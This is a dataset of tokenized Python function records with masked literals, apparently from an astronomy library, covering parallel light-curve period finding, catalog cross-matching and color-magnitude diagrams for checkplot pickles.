{"signature": "def parallel_pf(lclist,<EOL>outdir,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>pfmethods=('<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>'),<EOL>pfkwargs=({},{},{},{}),<EOL>sigclip=<NUM_LIT>,<EOL>getblssnr=False,<EOL>nperiodworkers=NCPUS,<EOL>ncontrolworkers=<NUM_LIT:1>,<EOL>liststartindex=None,<EOL>listmaxobjects=None,<EOL>minobservations=<NUM_LIT>,<EOL>excludeprocessed=True):", "body": "<EOL>if not os.path.exists(outdir):<EOL><INDENT>os.makedirs(outdir)<EOL><DEDENT>if (liststartindex is not None) and (listmaxobjects is None):<EOL><INDENT>lclist = lclist[liststartindex:]<EOL><DEDENT>elif (liststartindex is None) and (listmaxobjects is not None):<EOL><INDENT>lclist = lclist[:listmaxobjects]<EOL><DEDENT>elif (liststartindex is not None) and (listmaxobjects is not None):<EOL><INDENT>lclist = lclist[liststartindex:liststartindex+listmaxobjects]<EOL><DEDENT>tasklist = [(x, outdir, timecols, magcols, errcols, lcformat, lcformatdir,<EOL>pfmethods, pfkwargs, getblssnr, sigclip, nperiodworkers,<EOL>minobservations,<EOL>excludeprocessed)<EOL>for x in lclist]<EOL>with ProcessPoolExecutor(max_workers=ncontrolworkers) as executor:<EOL><INDENT>resultfutures = executor.map(_runpf_worker, tasklist)<EOL><DEDENT>results = [x for x in resultfutures]<EOL>return results<EOL>", "docstring": "This drives the overall parallel period processing for a list of LCs.\n\n    As a rough benchmark, 25000 HATNet light curves with up to 50000 points per\n    LC take about 26 days in total for an invocation of this function using\n    GLS+PDM+BLS, 10 periodworkers, and 4 controlworkers (so all 40 'cores') on a\n    2 x Xeon E5-2660v3 machine.\n\n    Parameters\n    ----------\n\n    lclist : list of str\n        The list of light curve file to process.\n\n    outdir : str\n        The output directory where the period-finding result pickles will go.\n\n    timecols : list of str or None\n        The timecol keys to use from the lcdict in calculating the features.\n\n    magcols : list of str or None\n        The magcol keys to use from the lcdict in calculating the features.\n\n    errcols : list of str or None\n        The errcol keys to use from the lcdict in calculating the features.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    pfmethods : list of str\n        This is a list of period finding methods to run. Each element is a\n        string matching the keys of the `PFMETHODS` dict above. By default, this\n        runs GLS, PDM, AoVMH, and the spectral window Lomb-Scargle periodogram.\n\n    pfkwargs : list of dicts\n        This is used to provide any special kwargs as dicts to each\n        period-finding method function specified in `pfmethods`.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    getblssnr : bool\n        If this is True and BLS is one of the methods specified in `pfmethods`,\n        will also calculate the stats for each best period in the BLS results:\n        transit depth, duration, ingress duration, refit period and epoch, and\n        the SNR of the transit.\n\n    nperiodworkers : int\n        The number of parallel period-finding workers to launch per object task.\n\n    ncontrolworkers : int\n        The number of controlling processes to launch. This effectively sets how\n        many objects from `lclist` will be processed in parallel.\n\n    liststartindex : int or None\n        This sets the index from where to start in `lclist`.\n\n    listmaxobjects : int or None\n        This sets the maximum number of objects in `lclist` to run\n        period-finding for in this invocation. Together with `liststartindex`,\n        `listmaxobjects` can be used to distribute processing over several\n        independent machines if the number of light curves is very large.\n\n    minobservations : int\n        The minimum number of finite LC points required to process a light\n        curve.\n\n    excludeprocessed : bool\n        If this is True, light curves that have existing period-finding result\n        pickles in `outdir` will not be processed.\n\n        FIXME: currently, this uses a dumb method of excluding already-processed\n        files. A smarter way to do this is to (i) generate a SHA512 cachekey\n        based on a repr of `{'lcfile', 'timecols', 'magcols', 'errcols',\n        'lcformat', 'pfmethods', 'sigclip', 'getblssnr', 'pfkwargs'}`, (ii) make\n        sure all list kwargs in the dict are sorted, (iii) check if the output\n        file has the same cachekey in its filename (last 8 chars of cachekey\n        should work), so the result was processed in exactly the same way as\n        specifed in the input to this function, and can therefore be\n        ignored. Will implement this later.\n\n    Returns\n    -------\n\n    list of str\n        A list of the period-finding pickles created for all of input LCs\n        processed.", "id": "f14702:m3"}
{"signature": "def parallel_pf_lcdir(lcdir,<EOL>outdir,<EOL>fileglob=None,<EOL>recursive=True,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>pfmethods=('<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>'),<EOL>pfkwargs=({},{},{},{}),<EOL>sigclip=<NUM_LIT>,<EOL>getblssnr=False,<EOL>nperiodworkers=NCPUS,<EOL>ncontrolworkers=<NUM_LIT:1>,<EOL>liststartindex=None,<EOL>listmaxobjects=None,<EOL>minobservations=<NUM_LIT>,<EOL>excludeprocessed=True):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(dfileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if not fileglob:<EOL><INDENT>fileglob = dfileglob<EOL><DEDENT>LOGINFO('<STR_LIT>' % (lcformat, lcdir))<EOL>if recursive is False:<EOL><INDENT>matching = glob.glob(os.path.join(lcdir, fileglob))<EOL><DEDENT>else:<EOL><INDENT>if sys.version_info[:<NUM_LIT:2>] > (<NUM_LIT:3>,<NUM_LIT:4>):<EOL><INDENT>matching = glob.glob(os.path.join(lcdir,<EOL>'<STR_LIT>',<EOL>fileglob),recursive=True)<EOL><DEDENT>else:<EOL><INDENT>walker = os.walk(lcdir)<EOL>matching = []<EOL>for root, dirs, _files in walker:<EOL><INDENT>for sdir in dirs:<EOL><INDENT>searchpath = os.path.join(root,<EOL>sdir,<EOL>fileglob)<EOL>foundfiles = glob.glob(searchpath)<EOL>if foundfiles:<EOL><INDENT>matching.extend(foundfiles)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if matching and len(matching) > <NUM_LIT:0>:<EOL><INDENT>matching = sorted(matching)<EOL>LOGINFO('<STR_LIT>' % len(matching))<EOL>return parallel_pf(matching,<EOL>outdir,<EOL>timecols=timecols,<EOL>magcols=magcols,<EOL>errcols=errcols,<EOL>lcformat=lcformat,<EOL>lcformatdir=lcformatdir,<EOL>pfmethods=pfmethods,<EOL>pfkwargs=pfkwargs,<EOL>getblssnr=getblssnr,<EOL>sigclip=sigclip,<EOL>nperiodworkers=nperiodworkers,<EOL>ncontrolworkers=ncontrolworkers,<EOL>liststartindex=liststartindex,<EOL>listmaxobjects=listmaxobjects,<EOL>minobservations=minobservations,<EOL>excludeprocessed=excludeprocessed)<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' % (lcformat,<EOL>lcdir))<EOL>return None<EOL><DEDENT>", "docstring": "This runs parallel light curve period finding for directory of LCs.\n\n    Parameters\n    ----------\n\n    lcdir : str\n        The directory containing the LCs to process.\n\n    outdir : str\n        The directory where the resulting period-finding pickles will go.\n\n    fileglob : str or None\n        The UNIX file glob to use to search for LCs in `lcdir`. If None, the\n        default file glob associated with the registered LC format will be used\n        instead.\n\n    recursive : bool\n        If True, will search recursively in `lcdir` for light curves to process.\n\n    timecols : list of str or None\n        The timecol keys to use from the lcdict in calculating the features.\n\n    magcols : list of str or None\n        The magcol keys to use from the lcdict in calculating the features.\n\n    errcols : list of str or None\n        The errcol keys to use from the lcdict in calculating the features.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    pfmethods : list of str\n        This is a list of period finding methods to run. Each element is a\n        string matching the keys of the `PFMETHODS` dict above. By default, this\n        runs GLS, PDM, AoVMH, and the spectral window Lomb-Scargle periodogram.\n\n    pfkwargs : list of dicts\n        This is used to provide any special kwargs as dicts to each\n        period-finding method function specified in `pfmethods`.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    getblssnr : bool\n        If this is True and BLS is one of the methods specified in `pfmethods`,\n        will also calculate the stats for each best period in the BLS results:\n        transit depth, duration, ingress duration, refit period and epoch, and\n        the SNR of the transit.\n\n    nperiodworkers : int\n        The number of parallel period-finding workers to launch per object task.\n\n    ncontrolworkers : int\n        The number of controlling processes to launch. This effectively sets how\n        many objects from `lclist` will be processed in parallel.\n\n    liststartindex : int or None\n        This sets the index from where to start in `lclist`.\n\n    listmaxobjects : int or None\n        This sets the maximum number of objects in `lclist` to run\n        period-finding for in this invocation. Together with `liststartindex`,\n        `listmaxobjects` can be used to distribute processing over several\n        independent machines if the number of light curves is very large.\n\n    minobservations : int\n        The minimum number of finite LC points required to process a light\n        curve.\n\n    excludeprocessed : bool\n        If this is True, light curves that have existing period-finding result\n        pickles in `outdir` will not be processed.\n\n        FIXME: currently, this uses a dumb method of excluding already-processed\n        files. A smarter way to do this is to (i) generate a SHA512 cachekey\n        based on a repr of `{'lcfile', 'timecols', 'magcols', 'errcols',\n        'lcformat', 'pfmethods', 'sigclip', 'getblssnr', 'pfkwargs'}`, (ii) make\n        sure all list kwargs in the dict are sorted, (iii) check if the output\n        file has the same cachekey in its filename (last 8 chars of cachekey\n        should work), so the result was processed in exactly the same way as\n        specifed in the input to this function, and can therefore be\n        ignored. Will implement this later.\n\n    Returns\n    -------\n\n    list of str\n        A list of the period-finding pickles created for all of input LCs\n        processed.", "id": "f14702:m4"}
{"signature": "def xmatch_cplist_external_catalogs(cplist,<EOL>xmatchpkl,<EOL>xmatchradiusarcsec=<NUM_LIT>,<EOL>updateexisting=True,<EOL>resultstodir=None):", "body": "<EOL>with open(xmatchpkl,'<STR_LIT:rb>') as infd:<EOL><INDENT>xmd = pickle.load(infd)<EOL><DEDENT>status_dict = {}<EOL>for cpf in cplist:<EOL><INDENT>cpd = _read_checkplot_picklefile(cpf)<EOL>try:<EOL><INDENT>xmatch_external_catalogs(cpd, xmd,<EOL>xmatchradiusarcsec=xmatchradiusarcsec,<EOL>updatexmatch=updateexisting)<EOL>for xmi in cpd['<STR_LIT>']:<EOL><INDENT>if cpd['<STR_LIT>'][xmi]['<STR_LIT>']:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(os.path.basename(cpf),<EOL>cpd['<STR_LIT>'],<EOL>cpd['<STR_LIT>'][xmi]['<STR_LIT:name>'],<EOL>cpd['<STR_LIT>'][xmi]['<STR_LIT>']))<EOL><DEDENT>if not resultstodir:<EOL><INDENT>outcpf = _write_checkplot_picklefile(cpd,<EOL>outfile=cpf)<EOL><DEDENT>else:<EOL><INDENT>xcpf = os.path.join(resultstodir, os.path.basename(cpf))<EOL>outcpf = _write_checkplot_picklefile(cpd,<EOL>outfile=xcpf)<EOL><DEDENT><DEDENT>status_dict[cpf] = outcpf<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % cpf)<EOL>status_dict[cpf] = None<EOL><DEDENT><DEDENT>return status_dict<EOL>", "docstring": "This xmatches external catalogs to a collection of checkplots.\n\n    Parameters\n    ----------\n\n    cplist : list of str\n        This is the list of checkplot pickle files to process.\n\n    xmatchpkl : str\n        The filename of a pickle prepared beforehand with the\n        `checkplot.pkl_xmatch.load_xmatch_external_catalogs` function,\n        containing collected external catalogs to cross-match the objects in the\n        input `cplist` against.\n\n    xmatchradiusarcsec : float\n        The match radius to use for the cross-match in arcseconds.\n\n    updateexisting : bool\n        If this is True, will only update the `xmatch` dict in each checkplot\n        pickle with any new cross-matches to the external catalogs. If False,\n        will overwrite the `xmatch` dict with results from the current run.\n\n    resultstodir : str or None\n        If this is provided, then it must be a directory to write the resulting\n        checkplots to after xmatch is done. This can be used to keep the\n        original checkplots in pristine condition for some reason.\n\n    Returns\n    -------\n\n    dict\n        Returns a dict with keys = input checkplot pickle filenames and vals =\n        xmatch status dict for each checkplot pickle.", "id": "f14703:m1"}
{"signature": "def xmatch_cpdir_external_catalogs(cpdir,<EOL>xmatchpkl,<EOL>cpfileglob='<STR_LIT>',<EOL>xmatchradiusarcsec=<NUM_LIT>,<EOL>updateexisting=True,<EOL>resultstodir=None):", "body": "cplist = glob.glob(os.path.join(cpdir, cpfileglob))<EOL>return xmatch_cplist_external_catalogs(<EOL>cplist,<EOL>xmatchpkl,<EOL>xmatchradiusarcsec=xmatchradiusarcsec,<EOL>updateexisting=updateexisting,<EOL>resultstodir=resultstodir<EOL>)<EOL>", "docstring": "This xmatches external catalogs to all checkplots in a directory.\n\n    Parameters\n    -----------\n\n    cpdir : str\n        This is the directory to search in for checkplots.\n\n    xmatchpkl : str\n        The filename of a pickle prepared beforehand with the\n        `checkplot.pkl_xmatch.load_xmatch_external_catalogs` function,\n        containing collected external catalogs to cross-match the objects in the\n        input `cplist` against.\n\n    cpfileglob : str\n        This is the UNIX fileglob to use in searching for checkplots.\n\n    xmatchradiusarcsec : float\n        The match radius to use for the cross-match in arcseconds.\n\n    updateexisting : bool\n        If this is True, will only update the `xmatch` dict in each checkplot\n        pickle with any new cross-matches to the external catalogs. If False,\n        will overwrite the `xmatch` dict with results from the current run.\n\n    resultstodir : str or None\n        If this is provided, then it must be a directory to write the resulting\n        checkplots to after xmatch is done. This can be used to keep the\n        original checkplots in pristine condition for some reason.\n\n    Returns\n    -------\n\n    dict\n        Returns a dict with keys = input checkplot pickle filenames and vals =\n        xmatch status dict for each checkplot pickle.", "id": "f14703:m2"}
{"signature": "def colormagdiagram_cplist(cplist,<EOL>outpkl,<EOL>color_mag1=['<STR_LIT>','<STR_LIT>'],<EOL>color_mag2=['<STR_LIT>','<STR_LIT>'],<EOL>yaxis_mag=['<STR_LIT>','<STR_LIT>']):", "body": "<EOL>cplist_objectids = []<EOL>cplist_mags = []<EOL>cplist_colors = []<EOL>for cpf in cplist:<EOL><INDENT>cpd = _read_checkplot_picklefile(cpf)<EOL>cplist_objectids.append(cpd['<STR_LIT>'])<EOL>thiscp_mags = []<EOL>thiscp_colors = []<EOL>for cm1, cm2, ym in zip(color_mag1, color_mag2, yaxis_mag):<EOL><INDENT>if (ym in cpd['<STR_LIT>'] and<EOL>cpd['<STR_LIT>'][ym] is not None):<EOL><INDENT>thiscp_mags.append(cpd['<STR_LIT>'][ym])<EOL><DEDENT>else:<EOL><INDENT>thiscp_mags.append(np.nan)<EOL><DEDENT>if (cm1 in cpd['<STR_LIT>'] and<EOL>cpd['<STR_LIT>'][cm1] is not None and<EOL>cm2 in cpd['<STR_LIT>'] and<EOL>cpd['<STR_LIT>'][cm2] is not None):<EOL><INDENT>thiscp_colors.append(cpd['<STR_LIT>'][cm1] -<EOL>cpd['<STR_LIT>'][cm2])<EOL><DEDENT>else:<EOL><INDENT>thiscp_colors.append(np.nan)<EOL><DEDENT><DEDENT>cplist_mags.append(thiscp_mags)<EOL>cplist_colors.append(thiscp_colors)<EOL><DEDENT>cplist_objectids = np.array(cplist_objectids)<EOL>cplist_mags = np.array(cplist_mags)<EOL>cplist_colors = np.array(cplist_colors)<EOL>cmddict = {'<STR_LIT>':cplist_objectids,<EOL>'<STR_LIT>':cplist_mags,<EOL>'<STR_LIT>':cplist_colors,<EOL>'<STR_LIT>':color_mag1,<EOL>'<STR_LIT>':color_mag2,<EOL>'<STR_LIT>':yaxis_mag}<EOL>with open(outpkl,'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(cmddict, outfd, pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>plt.close('<STR_LIT:all>')<EOL>return cmddict<EOL>", "docstring": "This makes color-mag diagrams for all checkplot pickles in the provided\n    list.\n\n    Can make an arbitrary number of CMDs given lists of x-axis colors and y-axis\n    mags to use.\n\n    Parameters\n    ----------\n\n    cplist : list of str\n        This is the list of checkplot pickles to process.\n\n    outpkl : str\n        The filename of the output pickle that will contain the color-mag\n        information for all objects in the checkplots specified in `cplist`.\n\n    color_mag1 : list of str\n        This a list of the keys in each checkplot's `objectinfo` dict that will\n        be used as color_1 in the equation::\n\n                x-axis color = color_mag1 - color_mag2\n\n    color_mag2 : list of str\n        This a list of the keys in each checkplot's `objectinfo` dict that will\n        be used as color_2 in the equation::\n\n                x-axis color = color_mag1 - color_mag2\n\n    yaxis_mag : list of str\n        This is a list of the keys in each checkplot's `objectinfo` dict that\n        will be used as the (absolute) magnitude y-axis of the color-mag\n        diagrams.\n\n    Returns\n    -------\n\n    str\n        The path to the generated CMD pickle file for the collection of objects\n        in the input checkplot list.\n\n    Notes\n    -----\n\n    This can make many CMDs in one go. For example, the default kwargs for\n    `color_mag`, `color_mag2`, and `yaxis_mag` result in two CMDs generated and\n    written to the output pickle file:\n\n    - CMD1 -> gaiamag - kmag on the x-axis vs gaia_absmag on the y-axis\n    - CMD2 -> sdssg - kmag on the x-axis vs rpmj (J reduced PM) on the y-axis", "id": "f14703:m3"}
{"signature": "def colormagdiagram_cpdir(<EOL>cpdir,<EOL>outpkl,<EOL>cpfileglob='<STR_LIT>',<EOL>color_mag1=['<STR_LIT>','<STR_LIT>'],<EOL>color_mag2=['<STR_LIT>','<STR_LIT>'],<EOL>yaxis_mag=['<STR_LIT>','<STR_LIT>']<EOL>):", "body": "cplist = glob.glob(os.path.join(cpdir, cpfileglob))<EOL>return colormagdiagram_cplist(cplist,<EOL>outpkl,<EOL>color_mag1=color_mag1,<EOL>color_mag2=color_mag2,<EOL>yaxis_mag=yaxis_mag)<EOL>", "docstring": "This makes CMDs for all checkplot pickles in the provided directory.\n\n    Can make an arbitrary number of CMDs given lists of x-axis colors and y-axis\n    mags to use.\n\n    Parameters\n    ----------\n\n    cpdir : list of str\n        This is the directory to get the list of input checkplot pickles from.\n\n    outpkl : str\n        The filename of the output pickle that will contain the color-mag\n        information for all objects in the checkplots specified in `cplist`.\n\n    cpfileglob : str\n        The UNIX fileglob to use to search for checkplot pickle files.\n\n    color_mag1 : list of str\n        This a list of the keys in each checkplot's `objectinfo` dict that will\n        be used as color_1 in the equation::\n\n                x-axis color = color_mag1 - color_mag2\n\n    color_mag2 : list of str\n        This a list of the keys in each checkplot's `objectinfo` dict that will\n        be used as color_2 in the equation::\n\n                x-axis color = color_mag1 - color_mag2\n\n    yaxis_mag : list of str\n        This is a list of the keys in each checkplot's `objectinfo` dict that\n        will be used as the (absolute) magnitude y-axis of the color-mag\n        diagrams.\n\n    Returns\n    -------\n\n    str\n        The path to the generated CMD pickle file for the collection of objects\n        in the input checkplot directory.\n\n    Notes\n    -----\n\n    This can make many CMDs in one go. For example, the default kwargs for\n    `color_mag`, `color_mag2`, and `yaxis_mag` result in two CMDs generated and\n    written to the output pickle file:\n\n    - CMD1 -> gaiamag - kmag on the x-axis vs gaia_absmag on the y-axis\n    - CMD2 -> sdssg - kmag on the x-axis vs rpmj (J reduced PM) on the y-axis", "id": "f14703:m4"}
{"signature": "def add_cmd_to_checkplot(<EOL>cpx,<EOL>cmdpkl,<EOL>require_cmd_magcolor=True,<EOL>save_cmd_pngs=False<EOL>):", "body": "<EOL>if isinstance(cpx, str) and os.path.exists(cpx):<EOL><INDENT>cpdict = _read_checkplot_picklefile(cpx)<EOL><DEDENT>elif isinstance(cpx, dict):<EOL><INDENT>cpdict = cpx<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return None<EOL><DEDENT>if isinstance(cmdpkl, str) and os.path.exists(cmdpkl):<EOL><INDENT>with open(cmdpkl, '<STR_LIT:rb>') as infd:<EOL><INDENT>cmd = pickle.load(infd)<EOL><DEDENT><DEDENT>elif isinstance(cmdpkl, dict):<EOL><INDENT>cmd = cmdpkl<EOL><DEDENT>cpdict['<STR_LIT>'] = {}<EOL>cplist_mags = cmd['<STR_LIT>']<EOL>cplist_colors = cmd['<STR_LIT>']<EOL>for c1, c2, ym, ind in zip(cmd['<STR_LIT>'],<EOL>cmd['<STR_LIT>'],<EOL>cmd['<STR_LIT>'],<EOL>range(len(cmd['<STR_LIT>']))):<EOL><INDENT>if (c1 in cpdict['<STR_LIT>'] and<EOL>cpdict['<STR_LIT>'][c1] is not None):<EOL><INDENT>c1mag = cpdict['<STR_LIT>'][c1]<EOL><DEDENT>else:<EOL><INDENT>c1mag = np.nan<EOL><DEDENT>if (c2 in cpdict['<STR_LIT>'] and<EOL>cpdict['<STR_LIT>'][c2] is not None):<EOL><INDENT>c2mag = cpdict['<STR_LIT>'][c2]<EOL><DEDENT>else:<EOL><INDENT>c2mag = np.nan<EOL><DEDENT>if (ym in cpdict['<STR_LIT>'] and<EOL>cpdict['<STR_LIT>'][ym] is not None):<EOL><INDENT>ymmag = cpdict['<STR_LIT>'][ym]<EOL><DEDENT>else:<EOL><INDENT>ymmag = np.nan<EOL><DEDENT>if (require_cmd_magcolor and<EOL>not (np.isfinite(c1mag) and<EOL>np.isfinite(c2mag) and<EOL>np.isfinite(ymmag))):<EOL><INDENT>LOGWARNING(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %<EOL>(c1, c2, ym, cpdict['<STR_LIT>']))<EOL>continue<EOL><DEDENT>try:<EOL><INDENT>thiscmd_title = r'<STR_LIT>' % (CMD_LABELS[c1],<EOL>CMD_LABELS[c2],<EOL>CMD_LABELS[ym])<EOL>fig = plt.figure(figsize=(<NUM_LIT:10>,<NUM_LIT:8>))<EOL>plt.plot(cplist_colors[:,ind],<EOL>cplist_mags[:,ind],<EOL>rasterized=True,<EOL>marker='<STR_LIT:o>',<EOL>linestyle='<STR_LIT:none>',<EOL>mew=<NUM_LIT:0>,<EOL>ms=<NUM_LIT:3>)<EOL>plt.plot([c1mag - c2mag], [ymmag],<EOL>ms=<NUM_LIT:20>,<EOL>color='<STR_LIT>',<EOL>marker='<STR_LIT:*>',<EOL>mew=<NUM_LIT:0>)<EOL>plt.xlabel(r'<STR_LIT>' % (CMD_LABELS[c1], CMD_LABELS[c2]))<EOL>plt.ylabel(r'<STR_LIT>' % CMD_LABELS[ym])<EOL>plt.title('<STR_LIT>' % (cpdict['<STR_LIT>'], thiscmd_title))<EOL>plt.gca().invert_yaxis()<EOL>cmdpng = StrIO()<EOL>plt.savefig(cmdpng, bbox_inches='<STR_LIT>',<EOL>pad_inches=<NUM_LIT:0.0>, format='<STR_LIT>')<EOL>cmdpng.seek(<NUM_LIT:0>)<EOL>cmdb64 = base64.b64encode(cmdpng.read())<EOL>cmdpng.close()<EOL>plt.close('<STR_LIT:all>')<EOL>plt.gcf().clear()<EOL>cpdict['<STR_LIT>']['<STR_LIT>' % (c1,c2,ym)] = cmdb64<EOL>if save_cmd_pngs:<EOL><INDENT>if isinstance(cpx, str):<EOL><INDENT>outpng = os.path.join(os.path.dirname(cpx),<EOL>'<STR_LIT>' %<EOL>(cpdict['<STR_LIT>'],<EOL>c1,c2,ym))<EOL><DEDENT>else:<EOL><INDENT>outpng = '<STR_LIT>' % (cpdict['<STR_LIT>'],<EOL>c1,c2,ym)<EOL><DEDENT>_base64_to_file(cmdb64, outpng)<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' %<EOL>(c1, c2, ym, cmdpkl))<EOL>continue<EOL><DEDENT><DEDENT>if isinstance(cpx, str):<EOL><INDENT>cpf = _write_checkplot_picklefile(cpdict, outfile=cpx, protocol=<NUM_LIT:4>)<EOL>return cpf<EOL><DEDENT>elif isinstance(cpx, dict):<EOL><INDENT>return cpdict<EOL><DEDENT>", "docstring": "This adds CMD figures to a checkplot dict or pickle.\n\n    Looks up the CMDs in `cmdpkl`, adds the object from `cpx` as a gold(-ish)\n    star in the plot, and then saves the figure to a base64 encoded PNG, which\n    can then be read and used by the `checkplotserver`.\n\n    Parameters\n    ----------\n\n    cpx : str or dict\n        This is the input checkplot pickle or dict to add the CMD to.\n\n    cmdpkl : str or dict\n        The CMD pickle generated by the `colormagdiagram_cplist` or\n        `colormagdiagram_cpdir` functions above, or the dict produced by reading\n        this pickle in.\n\n    require_cmd_magcolor : bool\n        If this is True, a CMD plot will not be made if the color and mag keys\n        required by the CMD are not present or are nan in this checkplot's\n        objectinfo dict.\n\n    save_cmd_png : bool\n        If this is True, then will save the CMD plots that were generated and\n        added back to the checkplotdict as PNGs to the same directory as\n        `cpx`. If `cpx` is a dict, will save them to the current working\n        directory.\n\n    Returns\n    -------\n\n    str or dict\n        If `cpx` was a str filename of checkplot pickle, this will return that\n        filename to indicate that the CMD was added to the file. If `cpx` was a\n        checkplotdict, this will return the checkplotdict with a new key called\n        'colormagdiagram' containing the base64 encoded PNG binary streams of\n        all CMDs generated.", "id": "f14703:m5"}
{"signature": "def add_cmds_cplist(cplist, cmdpkl,<EOL>require_cmd_magcolor=True,<EOL>save_cmd_pngs=False):", "body": "<EOL>with open(cmdpkl,'<STR_LIT:rb>') as infd:<EOL><INDENT>cmd = pickle.load(infd)<EOL><DEDENT>for cpf in cplist:<EOL><INDENT>add_cmd_to_checkplot(cpf, cmd,<EOL>require_cmd_magcolor=require_cmd_magcolor,<EOL>save_cmd_pngs=save_cmd_pngs)<EOL><DEDENT>", "docstring": "This adds CMDs for each object in cplist.\n\n    Parameters\n    ----------\n\n    cplist : list of str\n        This is the input list of checkplot pickles to add the CMDs to.\n\n    cmdpkl : str\n        This is the filename of the CMD pickle created previously.\n\n    require_cmd_magcolor : bool\n        If this is True, a CMD plot will not be made if the color and mag keys\n        required by the CMD are not present or are nan in each checkplot's\n        objectinfo dict.\n\n    save_cmd_pngs : bool\n        If this is True, then will save the CMD plots that were generated and\n        added back to the checkplotdict as PNGs to the same directory as\n        `cpx`.\n\n    Returns\n    -------\n\n    Nothing.", "id": "f14703:m6"}
{"signature": "def add_cmds_cpdir(cpdir,<EOL>cmdpkl,<EOL>cpfileglob='<STR_LIT>',<EOL>require_cmd_magcolor=True,<EOL>save_cmd_pngs=False):", "body": "cplist = glob.glob(os.path.join(cpdir, cpfileglob))<EOL>return add_cmds_cplist(cplist,<EOL>cmdpkl,<EOL>require_cmd_magcolor=require_cmd_magcolor,<EOL>save_cmd_pngs=save_cmd_pngs)<EOL>", "docstring": "This adds CMDs for each object in cpdir.\n\n    Parameters\n    ----------\n\n    cpdir : list of str\n        This is the directory to search for checkplot pickles.\n\n    cmdpkl : str\n        This is the filename of the CMD pickle created previously.\n\n    cpfileglob : str\n        The UNIX fileglob to use when searching for checkplot pickles to operate\n        on.\n\n    require_cmd_magcolor : bool\n        If this is True, a CMD plot will not be made if the color and mag keys\n        required by the CMD are not present or are nan in each checkplot's\n        objectinfo dict.\n\n    save_cmd_pngs : bool\n        If this is True, then will save the CMD plots that were generated and\n        added back to the checkplotdict as PNGs to the same directory as\n        `cpx`.\n\n    Returns\n    -------\n\n    Nothing.", "id": "f14703:m7"}
{"signature": "def cp_objectinfo_worker(task):", "body": "cpf, cpkwargs = task<EOL>try:<EOL><INDENT>newcpf = update_checkplot_objectinfo(cpf, **cpkwargs)<EOL>return newcpf<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % cpf)<EOL>return None<EOL><DEDENT>", "docstring": "This is a parallel worker for `parallel_update_cp_objectinfo`.\n\n    Parameters\n    ----------\n\n    task : tuple\n        - task[0] = checkplot pickle file\n        - task[1] = kwargs\n\n    Returns\n    -------\n\n    str\n        The name of the checkplot file that was updated. None if the update\n        fails for some reason.", "id": "f14703:m8"}
